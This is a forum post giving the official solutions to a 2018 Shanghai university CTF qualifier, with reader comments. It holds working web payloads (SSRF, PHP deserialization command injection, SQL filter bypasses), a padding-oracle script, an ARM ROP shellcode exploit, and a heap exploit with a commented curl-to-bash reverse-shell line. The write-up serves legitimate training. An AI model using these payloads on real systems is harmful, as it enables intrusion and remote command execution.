用户
搜索

该用户从未签到

i春秋官方

Rank: 7Rank: 7Rank: 7

4

主题

4

帖子

122

魔法币
收听
0
粉丝
0
注册时间
2018-6-3
发表于 2018-11-8 17:26:29 1143180
2018上海大学生网络安全赛官方WriteUp

2018年11月4日,由上海市教育委员会主办,东华大学承办,北京永信至诚科技股份有限公司协办的上海大学生网络攻防赛预赛,在i春秋线上CTF竞赛平台开赛。

比赛从上午9点开始,持续12个小时。为了在有限的比赛时间内尽可能全面地考察参赛大学生队伍的各方面综合能力,本次比赛沿用了线上CTF赛制中常见的5大方向,即:web 、 pwn 、 re 、 crypto 以及 misc。其中,web题4道,pwn题2道,crypto赛题2道、re赛题3道,misc赛题4道,共计15道赛题。

本次比赛赛题设置的目的是既能考察基础知识,给刚入门的新手学习的机会,又能给强队一定的挑战。经统计,解答最多的是misc类的赛题,共有194支队伍解出。解答最少的是pwn题,两道赛题共10支队伍解出。

其中,memo_server这道pwn题仅有两支队伍解出。这道赛题考察了选手逆向的能力和对http包的熟悉程度,这样的设计以及考点也属于在pwn题中少见的新思路。

大佬们也期待着官方writeup的发布,经过整理,官方writeup终于闪亮登场啦~欢迎大佬们前来围观~

如果各位大佬对我们的writeup有任何疑问,欢迎大佬们在评论区进行讨论,也可以加入i春秋官方CTF2群进行讨论,QQ群号:455849389。

言归正传,下面是本次大赛的writeup

Web

Web1

考察web基础技巧、SSRF   

  1. 在首页右键查看源代码,发现注释提示了robots.txt,访问之,得到有source.php和flag.php   
  2. 访问source.php,注释里提示post admin这个参数,尝试POST提交admin=1,得到127.0.0.1,需要伪造ip,一般是使用X-Forwarded-For、Client-IP来伪造,在本题使用另一个伪造X-Client-IP: 127.0.0.1   
  3. 得到新提示post url: http://www.ichunqiu.com 再POST url=http://www.ichunqiu.com 得到一个图片后缀的文件,其内容为url的内容,猜测存在SSRF,尝试几次后发现url需要包含www.ichunqiu.com,最后payload如下:
admin=1&url=file://www.ichunqiu.com/var/www/html/flag.php

Web2

考察源码文件泄漏、代码审计、php反序列化   

  1. index.php存在swp备份文件,下载.index.php.swp文件,使用vi -r .index.php.swp进行恢复   
  2. 代码里的@parse_str($_GET['a']);存在变量覆盖,这里关键点是要对&进行编码为%26
/?first=doller&a=var=give%26bbb=me%26ccc=flag
  1. waf如下
$str=preg_replace("/[<>*;|?\n ]/","",$str);
$str=str_replace('flag','',$str);

可使用&来执行第二条命令,空格用$IFS代替,而flag可以用各种编码,或者双写flflagag,或者fla[g],payload如下:

come=O:4:"come":2:{s:12:"%00come%00method";s:4:"echo";s:10:"%00come%00args";a:1:{i:0;s:20:"1%26cat${IFS}/flflagag";}}

Web3

本题大家的解法蛮多的。   

  1. 一开始
$ext = end($filename);
if($ext==$filename[count($filename) - 1]){

这里存在一个漏洞,php的end函数实际是数组最后一个元素,和下标无关。所以[1=>'a',0=>'b']这样的数组即可绕过限制。(这个技巧在今年的网鼎杯白虎之战有使用过)   

  1. 有一个上传操作和一个文件包含操作,其中上传之后文件会马上删除。而文件包含只允许包含”@<?php”开头的文件。
    这里大家的操作就蛮多的:   
  • 条件竞争   
  • 目录穿越(把文件上传到想上传的地方,然后再包含相应的文件即可)   
  • php7文件包含漏洞,PHP7中如果include(‘php://filter/string.strip_tags/resource=/etc/passwd’),就会引起PHP程序直接崩溃,因而就不会进行到下面的unlink。然后就可以对上传的文件进行爆破。   

Web4

本题考察SQL注入、文件上传、fuzz   

  1. 屏蔽了load_file、outfile、dumpfile、union、information_schema.
    这些关键字、以及把select、from替换为空了,绕过方法就是
    1) 使用information_schema . tables (注意点.的左边有个空格) 代替使用 information_schema.
    2) 双写绕过select、from的替换
    接着可以盲注,也可以使用unifromon进行联合查询,查到admin的密码为md5('adminpassword')   
  2. 上传处,不管怎么上传,最后都会在文件名后面加上.txt,于是在上传处抓包,
filename="p§fuzz§"
name="uploaddir"
./flag.ph

使用burpsuite的intruder进行fuzz爆破,导入ascii码的字典文件,最后爆破得到0x02可截断,达成./flag.php条件即可得到flag   

Crypto

Aessss

Padding Oracle Attack。

unpad函数里这句话return ''.join(ret[0:-ord(ret[-1])])

这里字符串截取是用的[0:-ord(ret[-1])],在每次 unpad 时并没有进行检测,而是直接进行 unpad。于是我们可以通过pad功能去伪造一下pad,借此改变flag的长度,然后逐字节往后爆破,利用脚本如下:

from pwn import *
import string
from hashlib import sha256

# context.log_level='debug'

def bp_flag(sh, enc, payload):
    for i in string.ascii_letters + string.digits + '{}_':
        msg = flag + i + payload
        enc_tmp = encrypt(sh, msg)
        if enc_tmp == enc:
            print 'found :%s' % i
            sh.close()
            return i
    print 'Something wrong'
    return ''

def encrypt(sh, msg):
    sh.recvuntil('choice:')
    sh.sendline('3')
    sh.recvuntil('encrypt:')
    sh.sendline(msg)
    sh.recvuntil('message: 0x')
    return sh.recvuntil('\n').strip()

def bp(index):
    sh = remote('127.0.0.1', 23333)
    chal = sh.recvline()
    post = chal[12:28]
    tar = chal[33:-1]
    sh.recvuntil(':')
    found = iters.bruteforce(lambda x: sha256(
        x+post).hexdigest() == tar, string.ascii_letters+string.digits, 4)
    sh.sendline(found)
    sh.recvuntil('choice:')
    sh.sendline('2')
    sh.recvuntil('something:')
    payload1 = chr(0xff - index) * (256 - 33)
    # print 'payload1 : %s' % payload1.encode('hex')
    # print 'len : %d' % len(payload1)
    sh.sendline(payload1)

    sh.recvuntil('choice:')
    sh.sendline('2')
    sh.recvuntil('something:')
    payload2 = 'a' * (256 - index - 1)
    # print 'payload2 : %s' % payload2.encode('hex')
    # print 'len : %d' % len(payload2)
    sh.sendline(payload2)

    sh.recvuntil('choice:')
    sh.sendline('1')
    sh.recvuntil('flag: 0x')
    enc = sh.recvuntil('\n').strip()
    # print enc
    return bp_flag(sh, enc, payload2)

flag = ''
for i in range(33):
    print 'Bruteforcing index: %d' % i
    flag += bp(i)
print flag

flag: flag{H4ve_fun_w1th_p4d_and_unp4d}

Rsaaaa

首先第一关给出密文和明文,输入n和d去解密,要保证 pow(c, D, N) == m,这里令D为1,N为c-m就行了

第二关,不能直接解密c,那就先解密c*pow(3,e,n),然后在去乘3的逆元就行了

最后拿着前面两关得到的随机字符做AES-CBC的KEY和IV去解密。即可解出flag

from pwn import *
from hashlib import sha512
import libnum
from Crypto.Cipher import AES

context.log_level = 'debug'

sh = remote('127.0.0.1', 20001)
sh.recvuntil('sha512(')
post = sh.recv(16)
sh.recvuntil('== ')
tar = sh.recvline().strip()
found = iters.bruteforce(lambda x: sha512(post+x).hexdigest() == tar, string.ascii_letters+string.digits, 4)
sh.sendline(found)

sh.recvuntil('message:0x')
m = int(sh.recvline().strip(), 16)
sh.recvuntil('ciphertext:0x')
c = int(sh.recvline().strip(), 16)
sh.sendline(str(c-m))
sh.sendline('1')

msg1 = hex(m)[2:].strip('L').decode('hex')

sh.recvuntil('n=0x')
n = int(sh.recvline().strip(), 16)
sh.recvuntil('e=0x')
e = int(sh.recvline().strip(), 16)
sh.recvuntil('c=0x')
c = int(sh.recvline().strip(), 16)
sh.sendline(str(c*pow(3,e,n)))
sh.recvuntil('message:0x')
MM = int(sh.recvline().strip(), 16)
m = MM*libnum.invmod(3,n) % n
sh.sendline(str(m))

msg2 = hex(m)[2:].strip('L').decode('hex')

sh.recvuntil('flag:0x')
enc = sh.recvline().strip().decode('hex')
cipher = AES.new(msg2, AES.MODE_CBC, msg1)
flag = cipher.decrypt(enc)
print repr(flag)

flag: flag{ec35162f-94b3-47e4-8d2c-6da6bba0391f}

Pwn

Baby_arm

  1. 确定漏洞,程序的逻辑十分简单,在第二次输入的时候会有一段比较长的栈溢出。elf文件没有开启canary,但是有DEP所以要通过rop的方式来让利用漏洞。
  2. 然后比较重要的是需要动态调试程序,我们这里采用qemu用户态模式来调试程序,具体的环境搭建和启动命令可以参考:https://ctf-wiki.github.io/ctf-wiki/pwn/linux/arm/environment/
  3. 发现程序里面提供的mprotect plt函数,构造rop链来调用mprotect函数并且解开bss段的执行权限。然后用rop调转到之前name变量的地址去执行shellcode。
  4. 这里主要的问题是aarch64传参的方式,参数的位置是x0,x1,x2。。。这样依次排列下去的,而程序自身函数内部并没有合适的gadget来帮我们设置寄存器。这里我们可以采用__libc_csu_init函数里面的通用gadget来帮助我们调用mprotect。这里的思路是和x86-64里面一样的,参考链接:http://spd.dropsec.xyz/2017/02/21/%E5%AF%BB%E6%89%BEGadgets%E5%8F%8A%E9%80%9A%E7%94%A8Gadgets/
  4008ac:       f8737aa3        ldr     x3, [x21,x19,lsl #3]
  4008b0:       aa1603e2        mov     x2, x22
  4008b4:       aa1703e1        mov     x1, x23
  4008b8:       2a1803e0        mov     w0, w24
  4008bc:       91000673        add     x19, x19, #0x1
  4008c0:       d63f0060        blr     x3
  4008c4:       eb14027f        cmp     x19, x20
  4008c8:       54ffff21        b.ne    4008ac <__libc_csu_init+0x44>
  4008cc:       a94153f3        ldp     x19, x20, [sp,#16]
  4008d0:       a9425bf5        ldp     x21, x22, [sp,#32]
  4008d4:       a94363f7        ldp     x23, x24, [sp,#48]
  4008d8:       a8c47bfd        ldp     x29, x30, [sp],#64
  4008dc:       d65f03c0        ret

通过调用0x4008cc 0x4008ac这两个gadget就可以通过栈上面的内容来设置寄存器并且跳转到目的地址。具体的布栈可以参考exp.py

  1. 通过rop调用函数mprotect(0x411000, 0x1000, 7); 就可以解开bss段上面的执行限制,结合之前输入name的时候放置的shellcode,再在rop链的末尾跳转到name的地址就可以成功执行shellcode getshell。
# exp.py
from pwn import *

context.arch = 'aarch64'
context.log_level = 'debug'
elf = ELF('./babyarm')
rop = ROP(elf)
p = remote('127.0.0.1', '13377')
# p = process(['./qemu-aarch64', '-nx', '-L', '/usr/aarch64-linux-gnu/', './babyarm'])
# p = process(['./qemu-aarch64', '-nx', '-g', '1234', '-L', '/usr/aarch64-linux-gnu/', './test'])

# shellcode = open('./connect.bin', 'r').read()
shellcode = asm(shellcraft.aarch64.linux.sh())

"""
  4008ac:       f8737aa3        ldr     x3, [x21,x19,lsl #3]
  4008b0:       aa1603e2        mov     x2, x22
  4008b4:       aa1703e1        mov     x1, x23
  4008b8:       2a1803e0        mov     w0, w24
  4008bc:       91000673        add     x19, x19, #0x1
  4008c0:       d63f0060        blr     x3
  4008c4:       eb14027f        cmp     x19, x20
  4008c8:       54ffff21        b.ne    4008ac <__libc_csu_init+0x44>
  4008cc:       a94153f3        ldp     x19, x20, [sp,#16]
  4008d0:       a9425bf5        ldp     x21, x22, [sp,#32]
  4008d4:       a94363f7        ldp     x23, x24, [sp,#48]
  4008d8:       a8c47bfd        ldp     x29, x30, [sp],#64
  4008dc:       d65f03c0        ret
"""

part1 = 0x4008cc
part2 = 0x4008ac
p.recvuntil('Name:')

payload = p64(elf.plt['mprotect']) + shellcode
payload.ljust(0x200, '\x00')
p.send(payload)
time.sleep(0.1)

rop.raw(part1)
rop.raw(0xdeadbeef)
rop.raw(part2)
rop.raw(0x1)
rop.raw(0x2)
rop.raw(0x411068 - 8) # ptr to mprotect@plt
rop.raw(7) #x2
rop.raw(0x1000) #x1
rop.raw(0x411000) #x0
rop.raw(0xdeadbeef)
rop.raw(0x411068 + 8) # shellcode addr

payload = 'A'*64 + p64(elf.bss()) + rop.chain() 
payload += cyclic(0x200 - len(payload)) 
p.sendline(payload)

p.interactive()

注意:由于服务器上命令极少,没有ls、id、whoami等命令,所以尝试使用这些命令将会报错

flag: flag{f31e33ff-0fcc-49b3-b29c-6e4a4364e2e4}

Memo_server

这题实现的是一个模拟http报文收发的交互程序,所有的交互操作都要按照http请求包的格式发送,所以首先考察的是选手逆向的能力和对http包的熟悉程度。每次发送的http包要加connection:keep alive字段才不会被断开连接。

程序实现了2个get的操作和3个post的操作。其中post_echo操作由于没有清空栈上的内存,同时对参数字符串结尾未做00的截断,所以能够造成部分的信息泄露,这里我们可以用于泄露libc的地址。

post_count操作会新建一条线程,用户触发count操作以后,线程会循环检查已经创建的memo,并且进行倒计时操作。漏洞在于memo的倒计时结束都线程并不会立即清空指针,而是要等所有的memo倒计时完成之后再全部清空,这样就造成了一个uaf的漏洞,这里我们并没有给一个对指针内容进行写操作的函数,所以只能通过double free的方法来利用。

利用的思路是:创建2个memo,计时数分别为3,4, 再创建一个计时数足够大的memo,用来hold住线程不清空指针。等前两个memo计时结束之后,我们在把memo1的计时数加大,使得memo1重新开始计时,然后就能再次被free,造成fast bin attack。由于add的函数只能通过memo的name来查找,所以这里我们来需要用list函数来泄露出一个堆上的地址,堆上的布局方式也有一定讲究。

完成了fastbin attack以后就是常规的操作了,以为size的长度最大为80,我们在bss段的上方找到一处0x60位置来bypass size check,然后重新取得chunk以后就可以往got表上free的位置写内容了,结合之前泄露的libc地址我们可以知道system的地址,往free上面写system的内容,等到下一次计时结束的时候就能成功调用system。

由于实在线程里面调用system,所以直接采用system('/bin/sh')是不能获得交互shell的,这里我们可以用system('cat flag')的命令来直接读取flag(同样也可以反弹shell的方法)。

from pwn import *
import re

context.log_level = 'debug'
# p = process('./server')
p = remote('127.0.0.1', 8089)
libc = ELF('./libc-so.6')

def http(url, content):
    r = ""
    if content is None:
        r += "GET"
    else:
        r += "POST"
    r += " /" + url + " HTTP/1.1\r\n"
    r += "Connection: keep-alive\r\n"
    if content is not None:
        r += "Content-Length: " + str(len(content)) + "\r\n"
    r += "\r\n"
    if content is not None:
        r += content
    return r

def add(name, count):
    p.send(http('add', 'memo=' + name + '&' + 'count='+str(count)))
    return p.recvuntil('ok')

def count():
    p.send(http('count', ' '))
    return p.recvuntil('ok')

def show():
    p.send(http('list', None))
    # return p.recvuntil('</html>')

def echo(content):
    p.send(http('echo', 'content='+content))

#leak libc
echo('a'*52 + '@'*4)
p.recvuntil('@@@@')
leak_libc = u64(p.recv(6) + '\x00\x00')
p.info('leak_libc: %x', leak_libc)
libc_start = leak_libc - 0x5f0e14
p.info('leak_start : %x', libc_start)

add('A'*0x60, 1)
add('B'*0x60, 2)
add('C'*0x60, 3)
add('D'*0x60, 4)
add('E'*0x60, 1000)
count()
sleep(5)
show()
p.recvuntil('0</td></tr><tr><td>')

leak_heap = u32(p.recv(4))
p.info('leak_heap: %x' % leak_heap)
add(p32(leak_heap+0x80), 2)
sleep(3)
add('%fa%2f%60%00'.ljust(0x60, 'a'), 1000)
add('a'*0x60, 1000)
# add('curl%20172.17.0.1|bash%00'.ljust(0x60, 'a'), 2) # reverse shell version
add('cat%20flag%00'.ljust(0x60, 'a'), 2) # cat flag
payload = 'a'*14 + p64(libc_start + libc.symbols['system'])[:-2] + '%00'
payload = payload.ljust(0x60, 'a')
# gdb.attach(p, 'b 226')
add(payload, 1000)

p.interactive()

flag: flag{a62ddf9e-d3c4-4021-93ca-6d46361ed6bc}

Reverse

What’s_it

本来这题可以用vs做成x64位c++格式的,但是生成出来之后的代码在IDA看起来非常复杂麻烦,为了降低难度,改成了32位gcc编译,并且保留函数名称

查看主函数逻辑,发现我们输入的luck string必须是6个小写字符,并且其md5值中'0'的个数*10加上'0'所在的位置数的和必须等于403

编写脚本跑出字符串为ozulmt,脚本略(6个for循环python跑md5即可)

继续分析decode函数,是将v4(md5值的后4位)作为参数传入。

2.png
取后四位的和作为随机数的种子,然后对check函数共计305个字符进行异或,rand由于srand是固定的,所以便可以成功预测出来。由此恢复check函数。

分析check函数

3.png
发现是将md5值的前四位和作为随机数种子,然后取32次rand()%16的值与flag对比(checkht已经检查了flag格式为flag{uuid格式}

那么便可以编写脚本,解出flag(同样很简单的脚本,略,rand的值需要通过程序得到)

4.png

flag: flag{a197b847-7092-53a4-7c41-bc7d6d52e69d}

Cpp

  1. ida64打开程序,定位main函数,如下
    1.png

    可以看到提示输入flag的字眼,其他比较长的红色部分就是一些c++的string操作,可以看出来输入被传入了sub_4010A2,跟进函数,随后可以看到字符串复制的操作,随后进入了sub_40111A函数

2.png

  1. 可以看到一堆数据和对于输入的操作,其中的operator的意思就是从字符串中取出第i位,我们可以整理出来此函数的逻辑大概就是将输入的每一位进行如下操作,根据位运算的性质可以推理出下过程为可逆过程,故可以爆破或者写逆运算.
    input[i] = ((input[i]<<2|input[i]>>6)^i)
    我们提取出数据写解密脚本却得到了下面的结果

3.png

这是个假的flag,是程序的一个误导,继续分析

  1. 在main函数中发现了sub_401332函数内部有着一些运算和数据,也可以在字符串搜索结果中看出这里才是真正的check函数,同样下面的操作整理出:
    input[i] = (input[i]|input[i-1])&(~input[i]|~input[i-1])
    这个操作化简后为(a|b)&(~a|~b),可以进行逻辑推理,此时(a|b)得到的结果的二进制数为0的位是两个数字共同为0的位所以无论后面运算式对应结果是多少,0&0/0&1的结果都为0,同理,(~a|~b)的操作为0的位是两个数字共同为1的位,最后同理对应位为0,所以可以看出,这个运算其实就是异或运算,如果上面的推理不懂,还可以代入数据0/1列真值表
  2. 所以最后整理出来的就是input[i]^=input[i-1],再加上上面误导函数进行加密的那次,提取数据,写解密脚本:

4.png

最后得到flag: flag{W0w_y0u_m4st3r_C_p1us_p1us}

Cyvm

ida64打开程序,定位main函数,如下

1.png

函数传入了一个全局变量和一个整数42

我们可以看到提示输入flag,但是没有见到接收输入的地方,猜测在函数中

跟进函数我们看到如下情景.

2.png
while循环套switch,不是迷宫就是vm,看到这么多case,那一定是vm了,这个时候我们根据传入函数的a2和每次goto前的”+=”运算可以很容易的确定v5是读字节码的操作,随后我们依次分析各个字节码对应的操作,其中与输入s相关的可以推测出他在对字符串进行操作,同时也能看出来&v7 + *(v5+1)-20此类的操作就是在调用v7等变量,多次出现在解释器中,可以看出来这几个是寄存器变量,分别解析各case后我们得到:

3.png

整理出来的vm指令如下:

4.png

整理出来的加密算法就是input[i]^=input[i+1]^i,从全局变量处提取flagenc写解密脚本如下

5.png

flag: flag{7h15_15_MY_f1rs7_s1mpl3_Vm}

Misc

签到题

这题是将flag BASE32编码之后去掉了后面的4个等号,所以恢复下,然后解码即可

from base64 import *
print(b32decode('MZWGCZ33GM2TEMRSMQZTALJUGM4WKLJUMFTGELJZGFTDILLBMJSWEYZXGNTGKMBVMN6Q===='))

flag: flag{35222d30-439e-4afb-91f4-abebc73fe05c}

easy_py

此题是pyc的逆向分析,但是直接使用在线python反编译工具是不能得到源码的,得分析pyc结构。然后发现pyc文件结构存在问题,删除夹杂的部分,再将B2修改为A9(B2-9为A9),即可重新反编译:

1.png

稍微分析下,便可知道line 5其实是异或,编写脚本即可得到flag

2.png

flag: flag{happy_xoR}

92

  1. 首先得到题目,看到16进制文件,在第86--100行处有多处相同的字符串:5365676d656e74696e67206c696e65,字符串解码可得:Segmenting line,中文意思为分隔行可知上下分为两部分
  2. 第二步,查看第一行字符串可得:25448494D0000000A0A1A0D074E40598,这是png文件格式单行逆序输出,编写程序提取图片(代码略,简单的python逆序写入文件即可),扫码可得:>:2?kEaX ,根据题目名92而想到的base92解码可得:Passwd:

1.png

  1. 删除中间的分割线以及上半部分,使用pyhton单行16进制解码以及全局逆序输出,得正序文件为word文档。

2.png

  1. 输入密码可见里面有一个二维码跟一行字:Welcome to office steganography. Office steganography is a very simple one.Be ready to get the flag,此处明显是office隐写,根据经验查找字体文件、查看文档隐写,发现二维码下还有一张图片,另外有文字隐写,根据文字色彩显示修改,查看到字体文件有flag{M1sc_字样,说明这个是分段的,扫描二维码可得:Congratulations on getting the third string:stlganography

3.png

  1. 由第三段可知,这是图片隐写,而且得到第三段密钥,根据隐写文字可知,隐藏手法用了imag steganography ,将文件另存为并使用对应软件解码:hide.txt>Off1c1_ 由此得到第二段词组,

拼接得到flag: flag{M1sc_Off1c1_stlganography}

N0find

  1. 从流量包中提取ctfisfun.zip,发现文件尾有问题,使用010editor进行修复。完成后解压,得到一张图片,右下角有ctxxxxxx的提示,进行隐写术分析,得不到任何东西。

1.jpg

  1. 继续分析流量包,发现三段crc值,分别藏在了url里,在流10中有提示,在流14,C61B1F65,E74E142D,648BDAD5 ,分析三段crc,利用脚本进行爆破。脚本链接

    运行结果:

2.png

  1. 图中的ctxxxxxx可做hint,因为需要筛选结果做密码进行解密,选择带f的组成ctf,所以是93fjhl,其余的同理。
    最后使用openpuff解密,使用如图:

3.png

最终得到flag:flag{6cb7cc29a8e2f34e707d9108d}


发表于 2018-11-8 18:22:28
竟然没有人抢沙发?
使用道具 举报 回复
MISC出题人出来挨打
使用道具 举报 回复
TN丿奢 发表于 2018-11-8 18:32
MISC出题人出来挨打

在这等着挨打
使用道具 举报 回复
发表于 2018-11-8 18:36:53
官方这个wp真的是可以说是很强了
使用道具 举报 回复
发表于 2018-11-8 21:06:05
iters.bruteforce(lambda x: sha256(
        x+post).hexdigest() == tar, string.ascii_letters+string.digits, 4)
大佬 这句是什么意思
使用道具 举报 回复
发表于 2018-11-8 23:47:28
web4那个ascii字典文件是什么啊?
使用道具 举报 回复
发表于 2018-11-9 11:13:10
muscle 发表于 2018-11-8 21:06
iters.bruteforce(lambda x: sha256(
        x+post).hexdigest() == tar, string.ascii_letters+string.d ...

pwntools的iters的爆破函数,传入lambda表达式,就是在计算满足sha256的4位值
使用道具 举报 回复
发表于 2018-11-9 11:15:00
youncyb 发表于 2018-11-8 23:47
web4那个ascii字典文件是什么啊?

%00、%01~%ff 每一个字符一行,这样来组成字典。
使用道具 举报 回复
发表于 2018-11-11 09:27:18
pcat 发表于 2018-11-9 11:13
pwntools的iters的爆破函数,传入lambda表达式,就是在计算满足sha256的4位值

谢谢哈
使用道具 举报 回复
发表于 2018-11-11 17:48:43
逆向What’s_it,回复check函数不太明白哎
使用道具 举报 回复
发表于 2018-11-15 15:41:31
感觉自己好菜
使用道具 举报 回复
发新帖
您需要登录后才可以回帖 登录 | 立即注册